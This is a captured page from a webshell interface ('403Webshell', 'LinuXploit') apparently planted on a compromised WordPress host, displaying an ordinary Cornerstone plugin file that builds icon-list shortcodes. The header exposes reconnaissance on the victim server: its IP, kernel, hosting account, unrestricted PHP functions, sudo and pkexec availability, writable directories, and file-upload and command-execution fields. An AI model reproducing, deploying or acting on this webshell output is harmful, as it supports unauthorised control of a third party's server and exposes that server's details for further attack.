403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/plugins/cornerstone/includes/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/cornerstone/includes/shortcodes/icon-list.php
<?php

// Icon List
// =============================================================================

function x_shortcode_icon_list( $atts, $content = null ) {
  extract( shortcode_atts( array(
    'id'    => '',
    'class' => '',
    'style' => ''
  ), $atts, 'x_icon_list' ) );

  $atts = cs_atts( array(
    'id' => $id,
    'class' => trim( 'x-ul-icons ' . $class ),
    'style' => $style
  ) );

  return "<ul {$atts} >" . do_shortcode( $content ) . "</ul>";
}

add_shortcode( 'cs_icon_list', 'x_shortcode_icon_list' );



// Icon List Item
// =============================================================================

function x_shortcode_icon_list_item( $atts, $content = null ) {

  extract( shortcode_atts( array(
    'id'           => '',
    'class'        => '',
    'style'        => '',
    'type'         => '',
    'icon_color'   => '',
    'link_enabled' => '',
    'link_url'     => '',
    'link_title'   => '',
    'link_new_tab' => ''
  ), $atts, 'x_icon_list_item' ) );

  $atts = cs_atts( array(
    'id' => $id,
    'class' => trim( 'x-li-icon ' . $class ),
    'style' => $style
  ) );

  $icon_style = ( $icon_color != '' ) ? "color: $icon_color;" : '';

  $icon_atts = array(
    'class' => 'x-icon-' . $type,
    'aria-hidden' => 'true',
    'style' => $icon_style
  );

  $icon_attr = fa_get_attr( $type );
  $icon_atts[$icon_attr['attr']] = $icon_attr['entity'];

  $icon_atts = cs_atts( $icon_atts );

  $link_begin = '';
  $link_end   = '';

  if ( $link_enabled == 'true' ) {

    $link_atts = array(
      'href'   => $link_url,
      'title'  => $link_title,
      'target' => $link_new_tab == 'true' ? '_blank' : ''
    );

    if ( $link_new_tab ) {
      $link_atts = cs_atts_with_targeted_link_rel( $link_atts );
    }

    $link_atts = cs_atts( $link_atts );

    $link_begin = "<a {$link_atts}>";
    $link_end   = "</a>";

  }

  return "<li {$atts} ><i {$icon_atts} ></i>" . $link_begin . do_shortcode( $content ) .  $link_end . "</li>";

}

add_shortcode( 'cs_icon_list_item', 'x_shortcode_icon_list_item' );

Youez - 2016 - github.com/yon3zu
LinuXploit